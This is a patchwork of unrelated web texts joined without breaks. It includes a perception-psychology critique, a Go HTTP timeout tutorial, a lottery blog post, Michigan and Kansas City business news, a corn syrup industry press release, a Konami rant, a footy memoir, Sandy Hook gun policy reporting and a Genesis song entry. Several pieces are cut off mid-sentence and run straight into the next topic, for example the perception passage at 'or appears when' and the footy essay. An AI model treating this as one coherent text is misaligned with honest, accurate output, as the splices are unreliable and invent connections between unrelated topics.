One possible objection to this argument is that energy expenditure, measured in calories burned, could be a way to compare different actions. If your body predicts the amount of calories that will be used up for each action, it would be beneficial to see an updated visual environment that reflects possible energy expenditures; for example, a steep hill would look even steeper when wearing a backpack, because it would take more energy to walk up it. However, Firestone points out that this kind of argument would fail to account for findings that do not involve energy use whatsoever. One experiment showed that thinking about a close friend right before guessing the steepness of a hill made people give lower estimates of the hill’s slant than people who weren’t told to think about their friend (Schnall, Harber, Stefanucci, & Proffitt, 2008, Experiment 2). Having real or imagined social support does not change the amount of calories you’ll have to burn in order to walk up a hill. Thus, even an objective measurement like calories burned would fail to unite the various Paternalistic Vision findings.
Perhaps the most striking argument against Paternalistic Vision is that the theory does not have an explanation for why some of these substantial “perceptual” effects are not perceptually noticeable. You can try—and fail—to notice these changes yourself; next time you’re in front of a doorway, hold your arms out to your side. Bring them back in. Out, in, out, in. Is the width of that doorway shrinking before your eyes? Put on your backpack, stand at the bottom of a hill, and look to the top of the hill. Take the backpack off. Put it on. Notice any Inception-esque landscape warping? Proponents of the theory acknowledge—and cannot resolve—the obvious fact that we don’t notice our visual environment contorting before our eyes (Proffitt, 2006).
But given the number of published findings that support Paternalistic Vision, the question still remains: how are so many researchers able to find significant effects in their experiments?
Experimental Methods
One possibility is that some of the evidence and support for the Paternalistic Vision hypothesis can be explained away as a result of demand characteristics in the experiment; this is when participants slightly change their usual behavior because they—either consciously or unconsciously—know the hypothesis of the experimenters.
From an experimental standpoint, there are a few ways to question whether experimental demand is present, and they generally follow a similar methodology. First, examine the findings that are consistent with the Paternalistic Vision hypothesis. Then, replicate the findings to ensure that the “effect” exists. After making minor, strategic tweaks to the experimental design, rerun the experiment. If the effect disappears (or appears when
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in 1.7, there's http.Transport.IdleConnTimeout. It does not control a blocking phase of a client request, but how long an idle connection is kept in the connection pool.
Note that a Client will follow redirects by default. http.Client.Timeout includes all time spent following redirects, while the granular timeouts are specific for each request, since http.Transport is a lower level system that has no concept of redirects.
Cancel and Context
net/http offers two ways to cancel a client request: Request.Cancel and, new in 1.7, Context.
Request.Cancel is an optional channel that when set and then closed causes the request to abort as if the Request.Timeout had been hit. (They are actually implemented through the same mechanism, and while writing this post I found a bug in 1.7 where all cancellations would be returned as timeout errors.)
We can use Request.Cancel and time.Timer to build a more granular timeout that allows streaming, pushing the deadline back every time we successfully read some data from the Body:
package main import ( "io" "io/ioutil" "log" "net/http" "time" ) func main() { c := make(chan struct{}) timer := time.AfterFunc(5*time.Second, func() { close(c) }) // Serve 256 bytes every second. req, err := http.NewRequest("GET", "http://httpbin.org/range/2048?duration=8&chunk_size=256", nil) if err!= nil { log.Fatal(err) } req.Cancel = c log.Println("Sending request...") resp, err := http.DefaultClient.Do(req) if err!= nil { log.Fatal(err) } defer resp.Body.Close() log.Println("Reading body...") for { timer.Reset(2 * time.Second) // Try instead: timer.Reset(50 * time.Millisecond) _, err = io.CopyN(ioutil.Discard, resp.Body, 256) if err == io.EOF { break } else if err!= nil { log.Fatal(err) } } }
In the example above, we put a timeout of 5 seconds on the Do phases of the request, but then we spend at least 8 seconds reading the body in 8 rounds, each time with a timeout of 2 seconds. We could go on streaming like this forever without risk of getting stuck. If we were not to receive body data for more than 2 seconds, then io.CopyN would return net/http: request canceled.
In 1.7 the context package graduated to the standard library. There's a lot to learn about Contexts, but for our purposes you should know that they replace and deprecate Request.Cancel.
To use Contexts to cancel a request we just obtain a new Context and its cancel() function with context.WithCancel and create a Request bound to it with Request.WithContext. When we want to cancel the request, we cancel the Context by calling cancel() (instead of closing the Cancel channel):
ctx, cancel := context.WithCancel(context.TODO()) timer := time.AfterFunc(5*time.Second, func() { cancel() }) req, err := http.NewRequest("GET", "http://httpbin.org/range/2048?duration=8&chunk_size=256", nil) if err!= nil { log.Fatal(err) } req = req.WithContext(ctx)
Contexts have the advantage that if the parent context (the one we passed to context.WithCancel ) is canceled, ours will be, too, propagating the command down the entire pipeline.
This is all. I hope I didn't exceed your ReadDeadline!
If this kind of deep dive into the Go standard libraries sound entertaining to you, know that we are hiring in London, Austin (TX), Champaign (IL), San Francisco and Singapore.The Lottery: I get it now
Justin Raymond Blocked Unblock Follow Following Jan 13, 2016
I wasted my money on lots of stupid things in the past. But I always looked down on the behavior of buying lottery tickets as if it was a giant, incomprehensible waste of money. Only the poor getting poorer. (Yes, all those candy bars and sodas I bought as a teenager were a much better investment.)
I remember buying a few scratch-offs when I turned 18, was slightly amused when I won free tickets or a dollar or three, and pretty much gave up after losing ten bucks or so.
It was with mostly nonchalance that I noticed the line at the gas station growing today for the $1.5 billion Powerball. Big deal. No chance in hell those folks are gonna win.
I went to work.
I left work. On my way out the door, my boss asked me if I was going to get in on the Powerball action. I laughed. He said he might snag a ticket before the sales stop at 10 pm. I mentioned the long line, eight or so people, I saw waiting at the gas station.
Yet for some reason, on my way home, I decided to stop at the gas station and buy a damn lottery ticket.
There were more people in line than before, so I patiently waited for about twenty minutes. I read this article about David Bowie on my phone. A woman behind me asked me what the biggest bill the machine could take was. I told her I had no idea since I never bought a lottery ticket before. Another guy in line talked on his cell phone about the chances of so-and-so sports team winning such-and-such game.
I put ten bucks into the machine. I didn’t even know if I was doing it right. It spit out a ticket. I stuffed it in my jacket and tried not to think about it.
One of those mysteries of the universe, a Schrodinger’s Cat-kinda thing, that goes back to me as a child waiting for the Nintendo Power magazine in the mailbox. If I open the box at the right time, will it be in there? If I eat my vegetables, will it be in there? Maybe it’s not in there right now, but if I do a good deed, time will re-write itself and it will end up in there. But the possibility of it being in there is in flux until I open the box and look.
So I tried to forget about it. I went to the gym.
And man, I thought about winning the lottery the whole damn time.
(Not my image. ABC13.com seems to have a slew of lottery-related articles.)
I wasn’t thinking in terms of my own personal gain. Yeah, it’d be nice to have a new car, buy a home, pay off the money my parents put up for my college education with a nice chunk of interest. But nothing really came to my imagination that wasn’t potentially feasible with lots of time and hard work in my current position. I don’t want to move or live in a giant house or drive a sexy car (although one that’s much better for the environment would be a big plus.) And I wouldn’t quit work, because I love where I work.
But what really got me thinking was how I could give it away.
I could set up an endowment for my current place of employment, to help ensure future generations get to experience our services for many many years to come. I could walk into work and hand everyone ten thousand bucks. I could take them on a retreat to Hawaii. Easy. Wouldn’t even be a dent in 1.5 billion, even if I took it all up front. (And I know lots of people have done the math on taking the money up front, because the tiny text on all the muted TVs at the gym had something to say about it.)
Then I started getting a little more creative. I could set up a studio for film production. Get in touch with my old film school pals who I refuse to spy on on Facebook. Hire Woody Harrelson or somebody for whatever amount of money he wants for a funny short. Make all the blog headlines. Rinse, repeat.
I could start up a video game studio with my incredible friend in Washington, an absolute genius. Hire some artists, some chiptune musicians, some level designers. Get that film studio to make an awesome trailer.
I could start up a brewery in my hometown with my cousin. We’d take over the soon-to-be-empty hardware store building and do something industrial and awesome. I’d take a week off work to do graphic design for the first series of brews. Or maybe I’d hire my good pal in New York City to do some design work.
… The point is, I started thinking about things I actually wanted to see happen.
I’ve been sailing through life at a leisurely pace, lately. Yeah, hard things happen, and I see them all the time. Sometimes it’s tough for me to look more than a couple years in advance, to really commit to long-term projects. Things seem to fail so easily. Projects that receive a lot of energy don’t always catch on. Money doesn’t really go far. But I have friends, and that’s all I really need.
The bad part about being in a comfortable place in life is that it can be hard to be all that ambitious.
Thinking about this lottery ticket got me thinking like a kid again. Or at least a high school age kid. One who didn’t know the context of how far a salary would get you, what kind of home X-thousand amount of dollars affords over thirty years. It got me thinking about the future that could be. (Even though the futures I dreamt up today hinged on millions and millions of dollars.)
But buying this lottery ticket got me thinking about what I want to happen in my life, and in other people’s lives. It’s a mode of thinking I’ve neglected, lately, and it felt exciting to imagine a bright future for people I love. Maybe I can’t just give them the money to succeed straight away, but at least it gives me a sense of direction, in a weird, weird way.
I didn’t win.
… maybe I’ll try again sometime soon.The Detroit Science Center has lined up a third party to acquire its debt from Citizens Bank of Flint, eight months after closing the museum.
Ron Weiser, founder of McKinley Associates Inc. in Ann Arbor and former chairman of the Michigan Republican Party and national finance chairman for the Republican National Committee, has entered into an agreement to acquire $6.2 million in debt and plans to make the science center's land, building and contents available to a new nonprofit incorporated in April, the Michigan Science Center.
The science center's debt was tied to its 2001 expansion and a $1 million line of credit.
The Michigan Science Center will be operated by new management and have a new board of directors led by Tom Stephens, a 43-year veteran of General Motors Co.who chaired the Detroit Science Center board after the resignation of Francois Castaing in January.
"We are excited about this plan as it eliminates any concerns over liquidation of the science center and better positions us for our ultimate goal of reopening in Midtown," Stephens said in the statement.
The new Michigan Science Center's mission will be to inspire children and their families to discover, explore and appreciate science, technology, engineering and math "in a dynamic, fun learning environment.
The new nonprofit plans to create a new board with some carryover members from the Detroit Science Center and some new members, said Shelly Otenbaker, a senior vice president at Eisbrenner Public Relationsand a trustee on the science center board.
The Michigan Science Centeris working to secure funds to reopen the museum.
As reported by Crain's in February, GM, Ford Motor Co. and Penske Automotive Group Inc. have either reportedly stepped up with cash or have been receptive to assisting the science center. And the Ford Motor Co. Fundhas said openly that both it and the automaker continue to be major supporters of the science center.
Stephens also was leading meetings with Detroit area foundations, seeking support to reopen the center, sources have told Crain's.
He is reportedly outlining a plan that returns the science center to its core business of operating the museum alone and not its for-profit subsidiary, Eekstein's Workshop LLC, which did business as Detroit Design & Exhibits and Detroit Science Center Design & Exhibits.
The plan Stephens and others were taking to foundations in February called for about $4 million to reopen the museum alone and get it through this year. Future operations would be bolstered by about $2.5 million in annual giving that typically comes to the museum each year, sources said.
News of the science center's resolving its debt problem follows similar news last week from the Detroit Symphony Orchestra which said it had settled its $54 million in debt with a syndicate of banks.(Reuters) - Michigan voters in November will decide the fate of a law that gave the state more control over struggling local governments after a court on Friday gave them the chance to repeal it.
Michigan officials said that once the measure is officially certified for the November 6 state-wide ballot as directed by the state supreme court, the 2011 law known as Public Act 4 will be suspended and a former, weaker, emergency manager law will replace it in the interim.
Parts of an April financial stability agreement between Detroit and the state depend on Public Act 4, which boosted Michigan’s ability to intervene in financially troubled local governments. The law gave state-appointed managers enhanced powers to run those governments, including the ability to suspend collective bargaining agreements. Four Michigan cities and three school districts have emergency managers, while two other cities besides Detroit have consent agreements.
Governor Rick Snyder said the law’s suspension will limit the state’s ability to give early aid to troubled governments and will eliminate key tools for emergency managers to fix problems.
“It promises to make eventual solutions to those emergencies more painful,” the Republican governor said in a statement.
“While I fully support the right of all citizens to express their views, suspension of the Local Government and School District Fiscal Accountability Act may adversely affect Michigan communities and school districts mired in financial emergencies,” Snyder added.
Detroit Mayor Dave Bing said the city’s agreement, which created an oversight board, remains in effect, along with a 10 percent wage cut and other benefit and work rule changes imposed on unionized workers last month as a way to save $102 million for the cash-strapped city.
Michigan Treasurer Andy Dillon told reporters in a conference call that “the vast majority” of Detroit’s financial stability agreement will remain intact”.
Dillon said that plans are proceeding to sell long-term bonds by the end of August to raise $137 million to repay an $80 million interim borrowing for Detroit and improve the city’s cash flow. He also said that actions taken by emergency managers while Public Act 4 was in effect will survive.
Emergency managers in most other cities and school districts, however, will have to be reappointed as emergency financial managers, who will have lesser powers, according to state officials.
Dillon said it was also possible the Michigan Legislature could act this month on a new emergency manager law that could be crafted with input from public worker unions.
Greg Bowens, a spokesman for the union-backed Stand Up for Democracy coalition that spearheaded the petition drive for the law’s repeal, said replacing Public Act 4 with a an old, repealed law or passing a new law would “subvert the will of the people”.
The coalition had collected enough valid signatures on petitions for ballot certification, but questions over whether the proper type size was used on the petitions led the matter to the Michigan Supreme Court, which heard arguments last week.
Meanwhile, Dillon conceded that the law’s suspension will be viewed negatively by credit rating agencies.
Fitch Ratings on Friday warned of uncertainties for Michigan governments should the repeal measure make the ballot and raised concerns that Detroit’s fiscal pact could be weakened or nullified if Public Act 4 were repealed.Applebee’s Neighborhood Grill and Bar restaurants, one of Kansas City’s biggest business successes and built on its signature barbecue riblets, is moving its headquarters to California.
The relocation ends the long local run of the business that Abe J. Gustin Jr. co-founded in 1988 and that grew to more than 2,000 stores. It is expected to trigger layoffs from among the roughly 220 employees at Applebee’s International Inc. headquarters in Kansas City.
Gustin had bought 45 Applebee’s restaurants, which started in Atlanta. He made Kansas City the chain’s launching pad for growth into a nationwide chain of casual and mostly franchisee-owned eateries.
Kansas City will keep 80 to 90 of the current headquarters jobs, which are in accounting, guest relations, information technology help and support for the point of sale stations used by restaurant staff, said Kevin Mortesen, a company spokesman.
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Of the remaining area employees, Applebee’s will offer transfers to 10 percent to 20 percent, and refill most the remaining posts with new hires at the Glendale, Calif., headquarters of its parent company, DineEquity Inc.
Applebee’s is moving its marketing, operations and culinary departments to California so they can work alongside, although separate from, their counterparts at IHOP, the other restaurant chain owned by DineEquity.
“We’re sad to see them go. We want Kansas City to be a vibrant community with lots of jobs,” said Michael Norsworthy, president of Kellann Restaurant Management, which operates the 54th Street Grill & Bar chain based in Kansas City.
The parent company does not expect to cut costs significantly from the move. It is part of an effort to accelerate growth in the two restaurant brands and the development of traditional and nontraditional locations.
“This move best positions the company to act as a nimble, effective and efficient force for the future,” Julia A. Stewart, chief executive of DineEquity said in a statement. “Consolidating most brand-centric, franchisee and consumer-facing aspects of Applebee's is an important step in that direction.”
Steven R. Layt, president of Applebee’s, will not move and has resigned, according to the company. Layt joined Applebee’s in 2012, becoming its senior vice president of operations before being named president last year.
DineEquity counts more than 2,000 Applebee’s restaurants, mostly franchise stores, across the United States and in 16 countries.
Stewart, an Applebee’s veteran, was in Kansas City this week to make the announcement, Mortesen said. She was unavailable for comment Friday.
She joined Applebee’s in the Kansas City area as its president in 1998. Stewart left in 2001 when it became clear she was being passed over for the company’s chief executive post.
Instead, she became chief executive of IHOP, then called International House of Pancakes, and led the purchase of Applebee’s to form DineEquity in 2007.
Applebee’s moved its headquarters to Kansas City from Lenexa in 2011, aided in part by a $12.9 million incentive package from Kansas City and Missouri.
The tax incentives mostly came through the Missouri Quality Jobs program, but also involved a state job training program and the city’s Chapter 100 bond program. Applebee’s said at the time that it moved 388 employees to Kansas City.
It was unclear Monday whether shifting jobs to California would trigger any changes in the tax benefits DineEquity received at the time of the move.
DineEquity said moving the Applebee’s operations west would trigger $13 million in costs, consisting of $5 million in severance and labor costs and $8 million of lease and other facility costs. Mortesen could not elaborate.
Luring the headquarters eastward across the state line had marked Kansas City’s first big counterpunch against Kansas’ success in luring Missouri headquarters to relocate to the Sunflower State.
Kansas City Mayor Sly James, who railed against the “border war” at the time, also hailed the move as a blow to help convince Kansas officials that the battle only hurts local tax revenues while doing nothing for the local economy.
James, however, also praised Applebee’s at the time for keeping its headquarters and the jobs in the region.
Applebee’s employees whose jobs are moved will receive severance pay and their paychecks at least through Feb. 1, Mortesen said. They also will receive help searching for new jobs.
Applebee’s International was formed when Gustin purchased the group of restaurants that had begun in Atlanta. Gustin died in 2010. Under Gustin, the company spread the Applebee’s brand to more than 1,100 locations by the time he stepped down in 2000.
Its headquarters crossed the state line twice, moving from Kansas City to Overland Park in 1993, before the move to Lenexa in 2007.
The Kansas City area still is the home of the restaurant groups Houlihan’s Restaurants Inc., based in Leawood, and the 54th Street Grill & Bar, based in Kansas City.WASHINGTON--(BUSINESS WIRE)--The Corn Refiners Association (CRA) today announced it is launching a multi-media advertising and public relations campaign to change the conversation about high fructose corn syrup, which has been the subject of considerable attention and misinformation.
“There are so many myths, inaccuracies and untruths associated with this sweetener that we felt it was necessary to set the record straight,” said Audrae Erickson, president, Corn Refiners Association. “We hope to provide balanced information about high fructose corn syrup to allow consumers to make informed decisions based on science.”
Most of the problem, according to Erickson, stems from the confusion about what high fructose corn syrup really is. “Scientific research continues to confirm that high fructose corn syrup is no different from other sweeteners. It is essentially the same as table sugar and honey, and has the same number of calories,” she said.
Consumer Awareness of HFCS Facts Low
A recent national survey1 indicates that the myths associated with this sweetener have led many consumers to believe that it is different from table sugar.
The survey revealed that two-thirds of household shoppers are aware of high fructose corn syrup, yet they are not aware of the similarities between high fructose corn syrup and table sugar.
More than two-thirds of consumers surveyed do not know that high fructose corn syrup and table sugar have the same number of calories
Only 19 percent of survey respondents understand that table sugar and high fructose corn syrup have the same sweetness
Almost two-thirds of those surveyed do not understand that high fructose corn syrup contains the same simple sugars – glucose and fructose – as table sugar
Campaign Busts Common Myths
Among the frequently published myths, high fructose corn syrup is often labeled unnatural and is accused of being uniquely responsible for obesity.
High fructose corn syrup meets the U.S. Food and Drug Administration’s guidelines for the use of the term natural. “HFCS, like table sugar and honey, is natural,” Erickson said. “It is made from corn, a natural grain product and contains no artificial or synthetic ingredients or color additives.”
Additionally, there is no scientific evidence to suggest that high fructose corn syrup is uniquely responsible for the country’s obesity rates. In fact, a recent decision by the American Medical Association concluded that “high fructose corn syrup does not appear to contribute more to obesity than other caloric sweeteners.”
“No single food or ingredient is the cause of obesity,” said James M. Rippe, cardiologist and biomedical sciences professor at the University of Central Florida. “Eating too many calories and getting too little exercise are primary causes.”
The caloric density of high fructose corn syrup and sugar are equal – four calories per gram. “There is no difference in how the body metabolizes these sweeteners,” Rippe said. “They’re indistinguishable once they reach the bloodstream.”
Consumption of high fructose corn syrup has been dropping in recent years, yet the rates of obesity and diabetes in the U.S. continue to rise, Rippe added. “And in many other parts of the world, obesity and diabetes are on the rise despite having little or no high fructose corn syrup.”
Campaign Shares Facts
CRA’s new campaign will seek to communicate the facts about HFCS to consumers and opinion leaders.
Newspaper, magazine and television advertisements will be a central component of the campaign, along with on-going outreach efforts to health professionals.
Consumers can find science-based information about high fructose corn syrup at www.sweetsurprise.com.
CRA is the national trade association representing the corn refining (wet milling) industry of the United States. CRA and its predecessors have served this important segment of American agribusiness since 1913. Corn refiners manufacture sweeteners, starch, oil and other products from corn.
www.corn.org
1 Survey of 1,610 adults age 18 and older, conducted by The MSR Group, March 28-April 11, 2008, on behalf of the Corn Refiners Association. The maximum margin of error is +/- 2.4 percent.New York officials are investigating some of the nation's biggest Internet providers over claims that customers aren't getting the Internet speeds they've paid for.
In letters to Verizon, Time Warner Cable and Cablevision on Monday, the New York attorney general's office cited "technical and business decisions" by the companies that may be leading to reduced download speeds for individual customers. The letters also demand that the companies provide internal company data to the government to prove that consumers are getting the advertised speeds.
"What they're doing is sending a shot across the bow at industry and saying, 'If you're making these claims, you'd better be able to substantiate them,' " said David Vladeck, a former director of the Federal Trade Commission's consumer protection bureau.
The three Internet providers vowed to cooperate with the probe, and all said in statements Monday that they were confident in the speeds they provide to end-users.
Officials were alerted to a potential problem amid a slew of consumer complaints and public data from third-party researchers. Internet providers have performed ably on some speed tests, such as the Federal Communications Commission's Measuring Broadband America report. The most recent of those white papers showed that carriers largely met their advertised speeds.
But the FCC's research, along with many off-the-shelf online speed testers, doesn't measure everything that goes into determining consumer speeds, said Tim Wu, a senior enforcement lawyer in the attorney general's office who wrote to the providers Monday. (Wu is also known for coining the phrase "net neutrality" and running for New York lieutenant governor in 2014.)
The tests typically measure the speed at which data flows from one point to another across an Internet provider's own network. But they mostly ignore the rate at which data from the rest of the Internet actually enters the carrier's network, said Wu. If there isn't enough capacity at that point, known as the point of interconnection, then consumers could experience delays as Netflix videos and other content struggle to make it into a provider's systems.
When a company such as Time Warner Cable advertises speeds of, say, 300 megabits per second, "they don't promise you'll have 300 Mbps to Time Warner Cable — they promise 300 Mbps to the Internet," said Wu in an interview. "That requires going through interconnection. And that's a bottleneck they control and can substantially affect the speeds the consumer experiences."
Netflix subscribers may remember their outrage when a flood of video traffic last year got clogged up at the edge of networks belonging to Comcast, Verizon and other Internet providers. The result was a series of commercial deals that involved Netflix paying the companies for extra capacity at the point of interconnection.
Now, according to the New York attorney general's office, those types of deals — and perhaps even those that don't involve money changing hands — may be insufficient to guarantee consumers' advertised speeds.
The companies will have until Nov. 8 to respond to the state government's inquiry.Remember how cool Konami used to be? Home of franchises like Silent Hill, Castlevania, and of course the celebrated Metal Gear series. Father of the “Konami code.” By far one of the most celebrated development companies in the industry, now seemingly degraded into a company whose most recent rise to notability is almost completely negative. If you go through the timeline of Konami in 2015 you are met with a sinking feeling in your throat, like watching a childhood friend kick your dog and insult your sister. It likely has been building for a while, but it seemed to truly begin when beloved creator Hideo Kojima announced he’d be leaving the company, around the same time it was announced that Silent Hills was cancelled.
Most recently though they’ve come under fire for the near totalitarian way they’ve handled the review of their new Metal Gear Solid V (A Hideo Kojima Game). To their credit, a game as desired as Metal Gear Solid V: The Phantom Pain is bound to have people working to leak spoilers and information about it. However the protocols taken to avoid that in this situation are so extreme and still raise a lot of ethical concerns. One Forbes writer recounted that he was invited to the “review event” though declined, stating he didn’t accept paid travel to such events and having to pay out of pocket would not be justified. Only a select few individuals were given copies of the game to review (the standard for most new games). Instead most were invited to this event where they would play the game in eight hour shifts over the course of one business week. That is it. A writer from GamesRadar gave a more personal explanation, having attended the event himself. The playthrough was so rushed that even having mostly positive thoughts on the game, the GamesRadar writer refused to give it a score. Others have scored it, often very high, and received the rightful criticism that can you really score a game as enormous as Metal Gear Solid V based on such a short time frame?
Now look, most likely Metal Gear Solid V is a game worth of the coveted 10/10. It is a Hideo Kojima game after all. This isn’t about the merits of Metal Gear Solid V who even those critical of Konami’s practices have admitted is a marvel. Even for all the dislike of Konami right now, people are still excited for this game, rightfully. This is about Konami’s continued downward spiral into infamy. No matter how anticipated Metal Gear Solid V is, review practices like these are at best sketchy. Along with the travel, food and drink were also provided by Konami and the experience was less that of someone playing a video game, and more that of a celebrity. This isn’t an insinuation anyone was explicitly bribed, but those types of things can influence how you experience the game.
What are games? They’re escapes. If you’re already on vacation, being waited on hand and foot, what are you escaping? How much of that 10/10 is still the game, and how much is just because you’re in a good mood because of the all-expenses paid time you get to spend playing one of the most anticipated video games of the year? And, more than that, how insulting is it to the Metal Gear series, and Hideo Kojima, that Konami felt they had to pamper their reviewers who played the game? Yes, it’s out of the way to expect them to come to these events but this could far more easily be resolved than offering a bunch of free stuff to reviewers.
A short quip on reviewing cycles: that process needs some serious reform. It’s very hard to get a game reviewed by embargo dates. Occasionally developers give you more than enough time, but often you are given only a couple of days to get a good handle on the game. However, that is within the comfort of your own home and on your own time. You are not required to leave to a hotel and given specific shifts to play the game in. Essentially we treat game reviews the same way we do movie reviews—isn’t THAT surprising?—but as usual it cannot be emphasized enough that games and movies are not the same. This is more a subtopic to my main point, which is that Konami is the source of all evil and possibly the coming of the anti-Christ. But if you are a developer, consider that if you want your game reviewed fairly and honestly, you might give those who review it more time to appreciate your creation.
Back to Konami. It’s become abundantly clear that this isn’t just a matter of incompetence or laziness. Unlike other companies who become infamous for their lack of consumer support or general attitude toward their customers, Konami’s actions seem far more sinister. When Ubisoft or EA does something terrible, it seems to come from just being out of touch with their consumer base more than anything. Obviously there is a modicum of greed there too, but with Konami, it’s different.
Konami’s issue exists at the top level of the company—to the uninformed they seem to be doing fine because their customer service is still okay, their games are still being released consistently, and of course, they’re getting good reviews. What makes Konami different from the marketing inept companies that litter the industry is they are very good at hiding and downplaying the bad stuff. This makes it infinitely harder to properly judge just how far Konami has fallen. Granted, Konami is far from the first company to have their souls perpetually blackened and shriveled and fall into the practice of treating their creative teams like lesser beings. They do seem to have the most persistent pattern as of recently though, and of course the most infamous instance.
Konami is a company that has proven that while they will happily use their successful franchises to continue raking in a considerable sum of money, they will not respect the very people who made that game successful. Their paranoia knows no bounds. And they’re slowly abandoning the audience that made them what they are in favor of gambling and smartphone apps. Oh don’t worry, they’ll still keep all those titles you know and love. They’ll just slap them on pachinko machines and tell you to live with it. I’d make a comparison to Scrooge McDuck, but Konami has significantly less fun than Scrooge.
And now, “review boot camps.” Gaming media has already come under a great deal of fire recently because of accusations of corruption and a general distrust of those who represent gaming in the field of journalism. Actions such as these serve as a reminder that this isn’t specific to the indie market. It may seem daunting to hold a company as enormous as Konami accountable, especially when past actions indicate they are only a few steps short of making their competitors “disappear,” but someone somewhere has to. It is infinitely harder to do that with Konami because they essentially hold franchises hostage, tempting their creative team and audience to step over the line so they can kill yet another meaningful project while laughing maniacally.
A director at EA said Hideo Kojima and Konami should stay on good terms, but I can rather understand why that would be hard after your name is stripped from a series you have dedicated much of your life too. Hideo Kojima was very right to walk away, whether he was fired or quit. While for obvious reasons the “why” has not been explained, it doesn’t take a lot of imagination to determine that it was not on anything resembling “good terms.” If you were to apply that imagination you could imagine that Konami attempted to make Silent Hills a brainwashing tactic to control Japanese teenagers and persuade them to buy mobile games complete with a contract that signs their soul over to Ragnarok in exchange for the privilege of seeing a picture of Solid Snake between advertisements for casinos.
Am I saying you shouldn’t buy Metal Gear Solid V because of this? No. That would be dumb, not to mention impossible, because I doubt anything is going to keep people from playing that game if they have the slightest interest in it. And again, I have little doubt it is an excellent game. Here’s what I propose instead. The greatest disrespect to Konami right now would not be to refuse buying these franchises. That would simply send the message that gamers are disposable. The message should be a reminder of where gamer loyalty lies. So make sure in every article, every review, every mention, there is a stirring reminder that Metal Gear Solid V is a Hideo Kojima game. A game that belongs to the creators and fans. Make it known that Konami must respect their franchises, not simply use those who create them and try and pull the blanket over the eyes of their customers, not as a matter of money—because Konami has already revealed their master backup plan—but as a matter of respect. If Konami envisions themselves as promoting addictive habits that seem cheap but swallow all the money from your pockets like a black hole and pachinko machines, then fine. They can do that. But don’t take advantage of the good faith that your artists and fans have given you.
Enjoy your Metal Gear, gamers.
Get closer to V day by day. pic.twitter.com/yAsP6bi6Rx — HIDEO_KOJIMA (@HIDEO_KOJIMA_EN) August 28, 2015
Disclaimer: Much of this article has been dramatized for the sake of humor, but seriously I do honestly think Konami might be led by Bond villains. It is worth saying though, I am not a lifelong fan of Metal Gear as many are (though I am of Silent Hills). What matters is respect of consumers and creators, and this remains true no matter the franchise.
Share Have a tip for us? Awesome! Shoot us an email at [email protected] and we'll take a look!Small town footy can teach you lessons about resilience, patience, finding your own future and belonging. Credit:Damian White "Sav roll?" I asked, suspecting it was hopeless. Sure enough, the girl in the window looked blank. "Hot dog, I mean." Hot dogs were something you only read about in American comics all those years ago. We had saveloys bobbing about in a great copper of boiling water at our footy Saturdays, the women of the club steaming as they fished them out with tongs, split bread rolls and handed over the tomato sauce bottle. Sav rolls. A few other things had changed over the half century since I'd spent winter Saturdays at this ground. The club itself, for starters. It had become the Heywood Football and Netball Club, and rejoiced in the rather grand name Lions.
By embracing the district's netballers and having them play on match days, footy clubs now draw bigger crowds and families feel properly included. Credit:Damian White Our old team was known, a bit humbly, as the 'Woods, and it was strictly football. The scent of Juicy Fruit chewing gum and eucalyptus rubbing oil and testosterone billowed from the training sheds. No one had been smart enough then to figure that if your club embraced the district's netballers and have them play on match days you'd get bigger crowds and everyone would feel properly included. Changing times have seen the 'Woods become the Heywood Football and Netball Club, which rejoices in the rather grand name Lions. Credit:Damian White Back then, we were accustomed to brave losses.
The last flag for the 'Woods had been in 1954. There'd been no more through the '50s and it got worse in 1964 when the club moved from the Western District Football League to the stronger Western Border League, which spread across the Victorian border to south-east South Australia. There would be no flag for Heywood through the 1960s, and there would be
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away from an assault ban – “through hard, bitter experience”, said Matt Bennett, a gun policy expert who advised Sandy Hook Promise.
Democrats know the research behind the ban. While a ban on high-capacity magazines could help some, the assault weapons ban “does nothing”, a former senior Obama administration official said last year.
Despite this, the ban has remained a moral litmus test for Democratic politicians.
Obama endorsed the assault weapon ban after Sandy Hook. Behind the scenes, the ban got little political support from the White House in 2013. Instead, the administration focused its energy on expanding background checks. When it came to the assault weapon ban, “We did the bare minimum,” the official said. “We would have pushed a lot harder if we had believed in it.”
Facebook Twitter Pinterest Hillary Clinton talks with Kim Washington, Deborah Davis and Nelba Marquez-Greene in April. Photograph: Justin Sullivan/Getty Images
Despite the Democratic rhetoric around assault weapons last week after 49 people died at the Pulse nightclub in Orlando, the Senate will actually be voting Monday on measures to expand background checks and bar suspected terrorists for buying guns.
The horror of mass shootings, and the emotion around them, may make it difficult for politicians to talk bluntly about tradeoffs of banning assault weapons and high-capacity magazines.
That’s what’s so striking about the political decisions that Hockley has made. In talking about the AR-15 at a lawsuit press conference, Hockley spoke precisely, but her face was pale with rage and grief. Other parents wept. This has not stopped them from evaluating the data, and from thinking deeply about what political reforms will most benefit the country as a whole.
In the months immediately after her son’s death, Hockley and other Sandy Hook parents joined the fight to expand the federal background check law – a measure that would not have saved their children, but that Democratic strategists thought had the best political chances and might do the most good. In April 2013, key senators voted against the background check measure. Hockley called it a “soul-crushing” experience. She had visited senator after senator to share Dylan’s story and his photograph. Some of the senators wept at her story, she said, and then later voted against her.
Afterwards, she and other Sandy Hook Promise members worked for months to develop their own gun violence prevention platform. They support a long list of strategies, from mental health reform to school-based intervention programs to laws creating “gun violence restraining orders”. The assault weapon ban does not make the list. But the group does endorse one part of the 1994 ban: limiting ammunition magazines to ten rounds or less.
For Hockley, magazine capacity is an intensely personal issue. “Our shooter brought in 30-round magazines, and shot 154 bullets in less than four minutes, and 11 children from Dylan’s class, from my son’s class, managed to hide and escape while he was reloading,” she said. “If he’d had to reload more often, more kids might have gotten out.”
But Sandy Hook Promise has made ammunition limits a second-tier priority, not one of their main advocacy fights. That was a wrenching decision, Hockley said, but, she believes, the right one.
During the debates over the group’s policy priorities, “I’ve lost my cool on more than one occasion,” she said. “You have to think about the bigger picture. ”
“If we have limited resources, we are going to fight for bills that would make a bigger difference.”"Land of Confusion" is a song by the English rock band Genesis from their 1986 album Invisible Touch. The song was the third track on the album and was the third track released as a single, reaching No. 4 in the U.S.[2] and No. 14 in the UK in late 1986.[3] It also reached No. 8 in the Netherlands. The music was written by the band, while the lyrics were written by guitarist Mike Rutherford.[4] The song's video featured puppets from the 1980s UK sketch show Spitting Image.
Music video [ edit ]
The band members (Banks, Collins and Rutherford) as they appeared in the video.
The song is widely remembered for its music video, which had heavy airplay on MTV. The video features caricature puppets by the British television show Spitting Image. After Phil Collins saw a caricatured version of himself on the show, he commissioned the show's creators, Peter Fluck and Roger Law, to create puppets of the entire band, as well as all the characters in the video.
